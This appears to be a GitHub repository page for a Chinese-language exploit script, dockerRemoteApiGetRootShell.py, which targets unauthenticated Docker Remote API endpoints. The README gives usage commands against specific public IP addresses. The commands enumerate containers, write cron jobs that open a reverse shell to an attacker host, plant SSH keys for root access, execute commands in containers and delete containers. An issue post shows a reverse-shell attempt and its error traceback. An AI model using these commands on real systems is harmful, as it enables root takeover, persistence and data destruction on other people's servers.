tycx2ry / docker_api_vul

docker 未授权访问漏洞利用脚本

docker_api_vul

docker 未授权访问漏洞利用脚本

##安装类库

pip install -r requirements.txt

##查看运行的容器

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375

##查看所有的容器

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -a

##查看所有镜像

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -l

##查看端口映射

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -L

##写计划任务（centos,redhat等,加-u参数用于ubuntu等）

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口

##写sshkey(自行修改脚本的中公钥)

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -k

##在容器中执行命令

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -e "id" -I 容器id

##删除容器

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -c -I 容器id

##修改client api版本

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -v 1.22

##查看服务端api版本

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -V

docker_api_vul's Issues

镜像用的docker.io/alpine:latest，执行反弹报错

python dockerRemoteApiGetRootShell.py -h 6.6.6.6 -p 2375 -C -u -i docker.io/alpine:latest -H 8.8.8.8 -P 1111

报错：
[-]Container ID:ba164c89d44b630a39c94b1e47cf9303ec450116fed66677ea23ac42272e724b
[-]Warning:None
Traceback (most recent call last):
File "dockerRemoteApiGetRootShell.py", line 146, in
response = cli.start(container=container.get('Id'))
File "/usr/lib/python2.7/site-packages/docker/utils/decorators.py", line 21, in wrapped
return f(self, resource_id, *args, **kwargs)
File "/usr/lib/python2.7/site-packages/docker/api/container.py", line 366, in start
self._raise_for_status(res)
File "/usr/lib/python2.7/site-packages/docker/client.py", line 153, in _raise_for_status
raise errors.NotFound(e, response, explanation=explanation)
docker.errors.NotFound: 404 Client Error: Not Found ("{"message":"oci runtime error: container_linux.go:235: starting container process caused "exec: \"/bin/bash\": stat /bin/bash: no such file or directory"\n"}")